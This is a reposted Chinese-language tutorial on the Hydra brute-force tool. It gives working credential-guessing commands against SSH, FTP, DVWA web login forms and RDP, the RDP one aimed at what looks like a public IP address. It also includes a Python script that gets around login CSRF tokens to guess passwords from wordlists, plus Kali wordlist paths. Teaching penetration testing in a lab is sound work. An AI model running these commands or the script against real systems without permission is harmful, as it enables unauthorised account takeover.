Hydra暴力破解工具的用法


目錄

Hydra

常見參數

破解SSH

破解FTP

破解HTTP

破解3389遠程登錄

Kali自帶密碼字典

dirb

dirbuster

fern-wifi

metasploit

wfuzz


Hydra

Hydra是一款非常強大的暴力破解工具,它是由著名的黑客組織THC開發的一款開源暴力破解工具。Hydra是一個驗證性質的工具,主要目的是:展示安全研究人員從遠程獲取一個系統認證權限。

目前該工具支持以下協議的爆破:
AFP,Cisco AAA,Cisco身份驗證,Cisco啟用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM- GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle Listener,Oracle SID,Oracle,PC-Anywhere, PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP / R3,SIP,SMB,SMTP,SMTP枚舉,SNMP,SOCKS5,SSH(v1和v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth ,VNC和XMPP。

對於 HTTP,POP3,IMAP和SMTP,支持幾種登錄機制,如普通和MD5摘要等。

由於Kali中自帶Hydra,所以怎么安裝就不講了,下面直接講如何用它。

常見參數

  • -R:繼續從上一次進度接着破解
  • -S:大寫,采用SSL鏈接
  • -s  <PORT>:小寫,可通過這個參數指定非默認端口
  • -l  <LOGIN>:指定破解的用戶,對特定用戶破解
  • -L  <FILE>:指定用戶名字典
  • -p  <PASS>:小寫,指定密碼破解,少用,一般是采用密碼字典
  • -P  <FILE>:大寫,指定密碼字典
  • -e  <ns>:可選選項,n:空密碼試探,s:使用指定用戶和密碼試探
  • -C  <FILE>:使用冒號分割格式,例如“登錄名:密碼”來代替 -L/-P 參數
  • -M  <FILE>:指定目標列表文件一行一條
  • -o  <FILE>:指定結果輸出文件
  • -f :在使用-M參數以后,找到第一對登錄名或者密碼的時候中止破解
  • -t <TASKS>:同時運行的線程數,默認為16
  • -w <TIME>:設置最大超時的時間,單位秒,默認是30s
  • -v / -V:顯示詳細過程
  • server:目標ip
  • service:指定服務名,支持的服務和協議:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
  • OPT:可選項

破解SSH

hydra -L user.txt -P passwd.txt -o ssh.txt -vV -t 5 10.96.10.252 ssh   #-L指定用戶字典 -P 指定密碼字典  -o把成功的輸出到ssh.txt文件 -vV顯示詳細信息

破解FTP

hydra -L user.txt -P passwd.txt -o ftp.txt -t 5 -vV 10.96.10.208 ftp #-L指定用戶名列表 -P指定密碼字典 -o把爆破的輸出到文件 -t指定線程 -vV 顯示詳細信息 

破解HTTP

我們拿DVWA測試破解HTTP,破解HTTP,需要分析數據包的提交格式

GET方式:

分析數據包,我們得到下面的命令

hydra -L user.txt -P passwd.txt -o http_get.txt -vV 10.96.10.208 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect:H=Cookie: PHPSESSID=nvvrgk2f84qhnh43cm28pt42n6; security=low" -t 3
#前面那些參數就不說了,主要說一下引號里面的數據 /vulnerabilities/brute/ 代表請求目錄,用:分隔參數,^USER^和^PASS^代表是攻擊載荷,F=后面是代表密碼錯誤時的關鍵字符串 ,H后面是cookie信息

POST方式: 

分析數據包,得到下面的破解命令

hydra -L user.txt -P passwd.txt -t 3 -o http_post.txt -vV 10.96.10.183 http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login&user_token=dd6bbcc4f4672afe99f15b1d2c249ea5:S=index.php"
#前面那些參數就不說了,主要說一下引號里面的數據 /login.php 代表請求目錄,用:分隔參數,^USER^和^PASS^代表是攻擊載荷,S等於的是密碼正確時返回應用的關鍵字符串

但是新版的DVWA采用了token的驗證方式,每次登錄的token都是不一樣的,所以不能用hydra來破解。目前,大多數網站登錄都采用了token驗證,所以,都不能使用Hydra來破解。

我們可以自己寫一個python腳本來破解。 

# -*- coding: utf-8 -*-
"""
Created on Sat Nov 24 20:42:01 2018
@author: 小謝
"""
import urllib
import requests
from bs4 import BeautifulSoup
 
##第一步,先訪問 http://127.0.0.1/login.php頁面,獲得服務器返回的cookie和token
def get_cookie_token():
    headers={'Host':'127.0.0.1',
             'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
             'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
             'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
             'Connection':'keep-alive',
             'Upgrade-Insecure-Requests':'1'}
    res=requests.get("http://127.0.0.1/login.php",headers=headers)
    cookies=res.cookies
    a=[(';'.join(['='.join(item)for item in cookies.items()]))]   ## a為列表,存儲cookie和token
    html=res.text
    soup=BeautifulSoup(html,"html.parser")
    token=soup.form.contents[3]['value']
    a.append(token)
    return a 
##第二步模擬登陸
def Login(a,username,password):    #a是包含了cookie和token的列表
    headers={'Host':'127.0.0.1',
             'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
             'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
             'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
             'Connection':'keep-alive',
             'Content-Length':'88',
             'Content-Type':'application/x-www-form-urlencoded',
             'Upgrade-Insecure-Requests':'1',
             'Cookie':a[0],
             'Referer':'http://127.0.0.1/login.php'}
    values={'username':username,
            'password':password,
            'Login':'Login',
            'user_token':a[1]
        }
    data=urllib.parse.urlencode(values)
    resp=requests.post("http://127.0.0.1/login.php",data=data,headers=headers)
    return 
#重定向到index.php
def main():
    with open("user.txt",'r') as f:
        users=f.readlines()
        for user in users:
            user=user.strip("\n")                 #用戶名
            with open("passwd.txt",'r') as file:
                passwds=file.readlines()
                for passwd in passwds:
                    passwd=passwd.strip("\n")   #密碼
                    a=get_cookie_token()              ##a列表中存儲了服務器返回的cookie和toke
                    Login(a,user,passwd)
                    headers={'Host':'127.0.0.1',
                              'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
                              'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                              'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
                              'Connection':'keep-alive',
                              'Upgrade-Insecure-Requests':'1',
                              'Cookie':a[0],
                              'Referer':'http://127.0.0.1/login.php'}
                    response=requests.get("http://127.0.0.1/index.php",headers=headers)
                    if response.headers['Content-Length']=='7524':    #如果登錄成功
                       print("用戶名為:%s ,密碼為:%s"%(user,passwd))   #打印出用戶名和密碼
                       break
if __name__=='__main__':
    main()

腳本運行截圖

破解3389遠程登錄

hydra 202.207.236.4 rdp -L user.txt -P passwd.txt -V

Kali自帶密碼字典

暴力破解能成功最重要的條件還是要有一個強大的密碼字典!Kali默認自帶了一些字典,在 /usr/share/wordlists 目錄下

dirb

big.txt #大的字典
small.txt #小的字典
catala.txt #項目配置字典
common.txt #公共字典
euskera.txt #數據目錄字典
extensions_common.txt #常用文件擴展名字典
indexes.txt #首頁字典
mutations_common.txt #備份擴展名
spanish.txt #方法名或庫目錄
others #擴展目錄,默認用戶名等
stress #壓力測試
vulns #漏洞測試

dirbuster

apache-user-enum-** #apache用戶枚舉
directories.jbrofuzz #目錄枚舉
directory-list-1.0.txt #目錄列表大,中,小 big,medium,small

fern-wifi

common.txt #公共wifi賬戶密碼

metasploit

metasploit下有各種類型的字典

wfuzz

模糊測試,各種字典

相關文章:Linux下暴力破解工具Hydra詳解


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM